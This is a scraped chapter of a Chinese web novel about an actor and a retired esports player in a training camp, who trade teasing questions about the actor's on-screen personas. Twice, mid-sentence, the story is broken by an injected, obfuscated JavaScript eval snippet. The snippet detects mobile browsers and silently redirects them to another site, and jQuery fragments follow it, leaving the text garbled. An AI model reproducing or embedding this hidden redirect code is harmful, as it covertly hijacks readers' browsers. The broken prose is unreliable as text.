他又瞥了眼江南岸,发现小山老师确实在认真刷野并没有空分心关心别的事,这才点开搜索框,心情很好地扬了扬眉,堂而皇之地在搜索引擎里输入了小山老师的大名。
【猜你想搜:江南岸个人资料[百度百科]】
点击确认。
看看到底怎么个事儿。
21.有人恶补功课。
【江南岸,中国内地影视男演员,23岁,181cm】
【江南岸,出生于上海市,中国内地影视男演员。16岁时出演电影《春风》,从而进入演艺圈……】
后面都是有关江南岸个人作品的介绍,言戒大概扫了一眼,退出去后,又打开了其他几个网页,里面的内容也跟百科里大差不差。
但他总觉得这些信息似乎有哪里奇怪,想了想才意识到——这些有关江南岸的内容都是从他十六岁出演电影《春风》后才开始记录的,提到的也全部是演艺圈相关,至于江南岸的童年经历、家庭环境和毕业院校之类的延展信息竟无只字片语。
因此言戒改变战术,在搜索框里删掉了“江南岸”三个字,转而输入“春风”。
其实言戒听说过《春风》这部电影,它是圈内最德高望重的导演韦映华呕心沥血之作,听说开机前单是剧本就打磨了数年,为了那几位最适配角色的演员,韦导更是泡在茫茫人海中挑过了一轮又一轮。好在这部电影上映后不负众望,热度爆表反响极好,后来更是包揽了国内外各大奖项,电影里几位名不见经传的演员直接原地飞升,可以说是一部电影奶红了一船人。
《春风》讲述的是一个少年的成长与蜕变,主角草根从小生活在大山中,母亲早逝,父亲酗酒家暴,草根厌倦了自己的生活,无比向往大山外的世界。终于有一天,对父亲和家乡彻底失望的草根背起自己的行囊走出了大山,路上,他遇见了形形色色的人,受过欺骗也感受过温暖,经历千辛万苦后,他终于在一个和煦晴朗的春日来到了儿时曾在饼干包装盒上看见过的海岸。
电影剧照里的主角草根瘦得只剩了一把骨头,身上黑乎乎脏兮兮,脸上都被晒脱了皮,整个人完全没有十六岁少年该有的蓬勃朝气,反而像只误闯陌生世界的小兽,满眼都是警惕和野性。
言戒翻了很多相关话题,最终在旮旯拐角揪出来一篇好几年前的人物访谈,里面介绍了韦映华当年从一众青少年演员里一眼挑中江南岸的故事。说是江南岸模特出身,因一张写真照被韦映华一眼相中,当即拍板他就是最适合草根的演员。在那之后,韦导把电话打了一轮又一轮,从收集照片的工作人员问到照片摄影师,最终才找到当年年仅十五岁的江南岸。
言戒也从访谈中看见了让江南岸结缘演艺圈的那张照片,画面看着像在哪个城镇街道的角落,清瘦的少年穿着洗到发黄的白T和短裤坐在墙角,怀里抱着个破旧的黑色书包。他一头短发乱蓬蓬的,脸上全是灰,还有不知在哪剐蹭出来的伤口,皮肤被晒得有点发黑,看起来像一只被遗弃在人海中的小狗,邋里邋遢可怜巴巴,只有一双眼睛清澈明亮、打探着眼前陌生的世界。
其实言戒已经见过这张照片很多次了,在他先前翻阅过的那些帖子里,有人说这是海选演员时流出的写真照片,有人说这是《春风》的剧照,也有人说这是主角草根未被采用的初版概念照……说什么的都有,言戒隔着一张屏幕和好几年时光,也没法辨别这里面到底哪句是真哪句是假。
他靠在电竞椅里,蜷起手指无意识地揉蹭着指腹,就这样盯着屏幕里那张照片看了许久,直到身边突然穿进一道冷冷清清的声音:
“言戒。”
言戒差点吓一激灵。
“你在看什么?”
言戒朝旁边望去,就见江南岸的屏幕已经黑了,而他本人正目光沉沉地盯着自己看。
言戒立马正正身子:
“哎呦我们吊老师怎么阵亡了?谁杀的?!谁敢动我吊老师?不知道他是谁的小队长吗?!”
“我问你在看什么。”江南岸不给他任何岔开话题的机会。
“嗐。”表演失败的言戒一拍大腿:
“当然在欣赏我们小山老师绝世容光了……复习一下您的来时路,未来小春才能更好地给您铺花路!哎别说我们小山老师真是从小好看到大,这造型都掩不住美貌,啧啧啧……”
“……”江南岸看看他,又看看屏幕里那张照片,顿了顿才收回视线。
他微微叹了口气,点着鼠标操纵刚复活的英雄走出泉水:
“你无不无聊?网上这种报道不是会打字就能写?十句有八句都是假的。”
“哦?”言戒靠着座椅扶手,将身子稍稍往他那边靠了一点:
“那你以前是怎么样的?网上假话多,那本人来说两句真的?”
“……不要。”
“这么绝情?那我可就只能含泪继续品味假话了,争取能从满地谎言中拼凑出一个真实的吊老师。”
言戒装模作样地叹了口气,退出了报道页面,重新打开江南岸本人的词条百科,顺着他在《春风》后的影视作品一条接一条浏览下去。
《春风》之后江南岸拿了一箩筐奖,沉寂一段时间后又演了一部成长向的高中校园剧,在里面饰演一个患有心理疾病的孤僻少年。之后又参演了一部现实向电影,拿到了人生第一个最佳男主角,俗称影帝。而那一年,江南岸才刚刚十八岁。
这人似乎天生命中带红,拍过的电影几乎都拿了奖,电视剧也拍一部爆一部,就算是所有人都不看好的小众题材小成本网剧也能被他以一己之力奶活。
那些年,有人质疑他说他是资源小王子,毕竟韦导拿他当半个亲儿子,这样沾圈内大导的光,他拿的当然都是其他演员在娱
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14177237|149405||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乐圈拼杀一辈子都摸不到的好饼。有的说他运气太好,有这种运气就是个傻子也能成功。还有的更离谱,说他靠脸上位,身上的实绩一大半都是靠背后金主干爹注出来的水。
言戒不爱沾娱乐圈就是因为厌烦他们圈里这种胡说八道无中生有逮着人就骂的风气,他微微皱皱眉,扫了一眼就点进了下一个词条。
江南岸拿到影帝后,下一部戏就是让他入坑烈焰圣杯的热血电竞大男主,之后又混进悬疑刑侦剧组跑了个龙套,正是之前在吃火锅时盛豫加提过的那部戏。
盛豫加在这剧里演了个刑侦支队长,江南岸则是一名精神科医生,两个角色在剧中算是好友,医生偶尔会帮男主分析凶手心理与动机,不过很快就因不幸撞破凶手重返案发地而被残忍灭口下线。
言戒原本没想在这部戏的词条里停留太久,毕竟江南岸在里面只是客串,但准备退出时,他突然瞥到了网页角落的一张剧照。
剧照里江南岸的头发还没有现在这么长,他穿着黑西裤和淡蓝色的正装衬衫,正坐在咖啡馆低头看书。这原本没什么特别,但他鼻梁上那副金丝眼镜吸引了言戒的目光。
言戒觉得自己好像发现了什么不得了的东西,但一时又捉不到心里那点模糊不定的念头。
片刻后,他正正身子,查了一下这角色的名字。
网页在短暂加载后将答案呈在了他面前——
这个角色姓顾,叫顾清泽。
言戒立马打开某著名短视频平台,搜索“顾清泽”,下一秒便跳出来许多的角色二创和单人Cut。
他点进了热度最高的那几条视频,挨个看完后,又随便搜了江南岸几段采访,更确定了心中猜测。
于是用打野塞壬艰难赢下一场排位的江南岸刚渡完劫就看见旁边某人脸上挂着明显没憋好心眼的笑容弯着眼睛盯着他看。
“?”江南岸警惕地眯起眼睛,下意识离他远了点:“你干什么?”
“老师,把眼镜戴上呗。”
“干什么?”
“你戴上,戴一下,就一下!”
“……”
“求你了吊老师——小春这辈子就这么一个愿望——你就行行好圆了孩子的梦吧——”
“。”
烦人精开启噪音攻击,江南岸不耐烦地挑挑眉,抱着“我看看你到底搞什么鬼”的心态,从口袋里摸出了自己那副金丝眼睛,折开镜腿架在了鼻梁上:
“然后呢?”
然后他就看见言戒目光略深地打量了他一眼,而后突然扬唇冲他笑了一下:
“哈喽啊顾医生。”
听见这个称呼,江南岸微微一愣。
22.有人发现了秘密。
“对不对?我猜没猜对?戴眼镜的是不是顾清泽?”
也不知道言戒哪来的那股兴奋劲儿,还没得到准确答案就开始兴致勃勃地跟江南岸描述自己的推理:
“根据我的观察,顾清泽顾医生这个人吧,高知分子,温文尔雅气度不凡,还很懂说话的艺术,一开口那调调儿让人特舒服。”言戒顿了顿,点开刚才在网站里随便找来的江南岸某段采访视频,把显示器转向江南岸的方向,指尖轻轻点点屏幕里男人鼻梁上的那副金丝眼镜:
“我来分析一下啊,当我们小山老师需要与人进行大段交流的时候,就会假装自己是‘顾清泽’,对不对?用顾清泽的社交模式来应付江南岸不擅长处理的场合,这招妙啊。所以采访的时候是顾清泽,跟不熟的队友们相处的时候也是顾清泽,前几天跟我握手朝我笑的也是顾清泽,对吧?”
“……”江南岸僵硬地挪开视线,摘了眼镜,鼠标“咔哒咔哒”点着又开了一把排位:
“……那又怎样?”
“不怎样,觉着有意思呗。”言戒轻笑一声:
“但我有个问题特好奇,我能问问吗?”
“我说不能你就不问了?”
“那肯定啊。我是那强人所难的人吗?”
“……问。”
“为什么在别人跟前这么隆重,在我面前就连演都不带演的?怎么,我没资格面见顾医生啊?”言戒弯起眼睛看着他。
江南岸像看死人一般瞥了他一眼:
“你吃这套?我演了你就不欠揍了?”
言戒想了想,诚实答:“要你从头演到尾,那我说不定还真没那心思逗你。但谁让咱俩的相遇太过奇妙,哎,这么说来,我跟我们小山老师真有缘分,简直是命中注定要在这么一个美好的夜晚坐在这儿袒露心声。”
“那我真是倒了八辈子霉。”江南岸面无表情。
言戒却看着他,轻轻勾起了唇,再开口时语气稍微正经了一点:
“但我觉着还挺幸运的。”
“幸运在?”幸运在找到个大乐子,在枯燥的训练营里不愁没剑贩吗。
江南岸凉凉想到,但言戒短暂沉默一瞬,答的却是:
“幸运在能在顾医生之前先认识小山老师啊?毕竟比起顾清泽,我还是更喜欢江南岸。”
“……”猝不及防听见这话,江南岸一怔。
等回过神来,他发现自己居然点错了英雄,就那么在选将环节水灵灵地给自己锁定了一个阿尔斯。
“阿尔斯?!”言戒也瞥见了他的选择,他直接长腿一蹬滑着电竞椅就哧溜到了江南岸身边:
“牛啊!你还有这一手呢?!佩服,小春心服口服!”
“点错了。”江南岸麻木:“我退了吧。”
“别啊,宇宙第一阿尔斯在此,你选了直接退也太不给本人面子了吧?”言戒扬扬眉:
“想打就打,玩不下去给我,还能让你输了吗?”
江南岸迟疑片刻,可能是在考虑言戒这话的可行性,最终还是郎心似铁地选择退出对局。
在等待强退游戏产生的对局冷静期时,江南岸拿起桌上的眼镜,把它折好放进了口袋里。
言戒注意到他的动作,微一挑眉,又问:
“哎老师,其实我还有个问题……”
“你问题怎么那么多?”江南岸冷冷瞥过去。
“嗐,我这人就喜欢得寸进尺。就是想问,既然你能在没有剧本的情况下以‘顾清泽’的思路来处理问题,那难道不是说明你本身就有这种社交和语言的能力?你完全可以用江南岸的身份来做这些,那为什么一定要刻意把自己变成另一个人?”
在整个推理环节中,言戒唯一没想通的就是这一点。
适应环境逢场作戏控制言行举止是人类生来就有的本事,比如一个人在职场和在自己家的状态肯定多多少少会有不同,这很正常,可像江南岸这样直接套上不同的角色来应对不同社交场合的情况,言戒还从没见过。
“别人也问过这个问题。”
江南岸微微垂下眼。
“哦?那你怎么回答的?”
“没回答。”
“不想答还是你自己也不知道?”言戒耐心地顺着他的话问。
江南岸陷入了短暂的沉默,片刻,他才像是无声地叹了口气,道:
“可能是觉得那样就不是我了吧。不知道。我这个人,本来就很奇怪。”
言戒听过这话,耸耸肩,语气自然:
“那又怎样?人本来就是独立的个体,有个性有主张都再寻常不过,倒也不用因为自己跟大多数人不一样就给自己贴个‘奇怪’的标签。你要这么说的话,那我也奇怪,空降职业战队、打了一年就地退役,谁能有我奇怪,当时网上把我骂成啥样了?诶不对忘了咱俩有代沟,吊老师那阵才十三四岁吧?关注过这些吗?”
“没有。”
“扎心了。”言戒摸摸自己的心脏,装模作样地叹了口气。
江南岸瞥了他一眼,没再理他,只自己重新点开了排位队列。
窗外的天色逐渐由暗橙堕入深黑,被擦得清透亮堂的玻璃映出训练室内铺满冷光的影子。
江南岸练了一晚上打野,在他打游戏的时候,言戒就坐在他旁边看电影,两个人各自戴着耳机,谁也不打扰谁。
一部《春风》看完,言戒又扒拉了两集小山老师男高限定的校园剧,说实话江南岸的演技确实配得上他粉丝到处安利时的势头和赞美,至少言戒在那些角色身上完全看不见江南岸自己的影子,他处理角色时的一些小细节很容易就能把观众带入到故事本身的情感中去。
言戒一个从来不看电视剧的人也能扒着电脑看得津津有味,原本还想再往后看点,但他那不争气的胃却不合时宜地叫出了声。
“哎——”他这才想起来某个被他二人遗漏的环节:
“吊老师,咱俩是不是忘吃饭了?”
江南岸正好在自家水晶前壮烈牺牲,眼见着基地被推,他直接摘了耳机:“是啊。”
“这都九点多了。”
言戒看了眼时间:
“餐厅估计关门了吧?”
“关就关了。”
“关了咱吃啥呀?”言戒有点好笑。
“不吃,人类少吃一顿晚饭也不会被饿死。”
“不行,我得吃,你也得吃。一日三餐那是老祖先定下来的规矩,按时按点吃饭才能有个健康的身体!走,跟我走,吊老师,还好我存粮多,这要明天丧尸爆发,你就等着抱我大腿吧,我就是新一代末世囤货天王!”言戒关了电脑站起身,边道。
江南岸凉凉道:
“你的意思是靠你那一箱子糖果巧克力坚持到丧尸灭亡吗?”
“那我可太冤枉了,我箱子另外半边还有火腿肠呢。”
言戒大喇喇说完一句,发现江南岸没有应声,下意识偏头看了一眼,就见江南岸也正悄悄抬眼打量他,跟他对了一瞬视线才迅速挪开眼。
言戒扬扬眉:
“怎么了?”
江南岸好像犹豫了一下,内心挣扎片刻,才问出一句:
“……有玉米的吗?”
言戒没忍住笑了。
他习惯性想揉一把江南岸的头发,手都伸出去了才意识到这个动作放在他俩身上似乎并没有那么合适。于是他的动作尴尬地转了个弯,干巴巴甩甩手又垂了下去,只嘴里含笑道:
“怎么那么好玩?有!爱吃玉米肠的都有品!我管够!”
江南岸实名抵制言戒的糖果巧克力小零嘴,却最终为一根玉米肠折了腰。
这是他第二次来言戒的寝室,跟上次相比,这里除了多了些生活气以外并没有什么太大变化。言戒走在前面迅速藏了几件换了没来得及洗的衣服,江南岸瞥了眼他的动作,善良地没有戳穿他。
言戒的室友inBlue也在寝室里,深蓝发色的男生
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14192250|149405||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
正躺在床上翘着腿打电话,一手拿着手机,一手无聊地绕着上衣的帽绳。
言戒钻进卫生间把收好的脏衣服全丢进洗衣机里,出来时顺便洗了个手。
他看看inBlue,又看看江南岸,解释道:
“跟对象儿打电话呢,不用理他。”
虽说选手们的手机在录制的第一天就上交了,但实际上节目组在这方面管得并不太严,艺人们的手机都在各自的FPD手里,周六日休息时可以拿回来,平时有点什么事需要用手机也可以直接问FPD要。
现在这个年代,手机就是人类的第二条命,毕竟不是真带选手过来军训,在这些生活小问题上,节目组都是睁一只眼闭一只眼。
江南岸点点头,表示理解。
而后他被言戒请到床边坐下,看着言戒倒腾那大零食箱的背影,他随口问:
“你呢?”
“什么?”
“你不用给女朋友打电话?”
不趁着休息时间抓紧跟恋爱对象蜜里调油联络感情,反而坐在训练室看了一晚上电影,这实在不像是他们花花蝴蝶风流浪子的作风。
“我?”言戒似乎愣了一下,而后轻笑一声:
“我像是有对象的人?”
江南岸点点头,诚实地说出了自己对他的刻板印象:
“你像是同时谈着十个。”
“哎呦喂,那您可太抬举我了。”
言戒从箱子里翻出来几个盒子袋子,把其中一个包装袋丢给江南岸,自己拿着其他的东西出了门。
江南岸低头看看,发现他丢来的是一整包玉米肠。
言戒没一会儿就回来了,手里还端着两碗热好的速食意面。
“番茄肉酱和奶油培根,吃哪个?”
江南岸拿过了番茄那碗。
在训练室的时候还没感觉,但现在闻到意面和玉米肠的香味,江南岸倒是真觉得有点饿了。
他用碗里自带的塑料叉搅搅面条,抬眼时发现言戒已经就地坐下开始大口干饭。
自己这蹭吃蹭喝的客人坐床上,对面负责投喂的主人坐地上,怎么看怎么不合适。于是江南岸想了想,自己也盘起腿,坐到了言戒对面。
言戒注意到了他的动作,倒也没说什么,但很快他就发现江南岸似乎在时不时地抬眼悄悄打量他,像是有什么话想说。
言戒一点没不好意思,他直接对上江南岸的目光,扬声问:
“偷看我干嘛啊吊老师?终于被我帅晕了?想看就大大方方看,啊,不收你门票钱。”
“?”江南岸瞳孔地震。
边上打着电话的inBlue也投来了疑惑又嫌弃的目光。
“你今天问了我很多问题。”整理好内心震撼后,江南岸道。
“嗯?”
“那我也有个问题想问你。”
“大大方方问!我有什么事能瞒你?”
“……你喜欢电竞吗?”
听到江南岸有问题想问,言戒考虑了很多种可能性,唯独没想过他问出口的会是这句。
他愣了一下:
“喜欢啊。”
“那为什么会那么早退役?”江南岸有些疑惑。
这个问题,从他好几年前第一次接触“Spring”这个名字时就在心里埋下了。
江南岸很好奇Spring当时的动机,比如他当年为什么改变了自己的人生轨迹,选择顶着无数谩骂和流言蜚语站上赛场,后来又为什么没有一点留恋地结束了这一切。
江南岸想不通,就如同他想不通自己有些时候的想法和决定,言戒对于他来说也是一个令他看不懂猜不透的人。
“怎么想起问这个了,终于对我传奇又迷人的过去感兴趣了?”
言戒有心逗他,这便轻扬眉梢,笑着露出了唇边的犬牙:
“看在吊老师这么好看的份儿上……这样吧,来,说点好听的,我就告诉你?”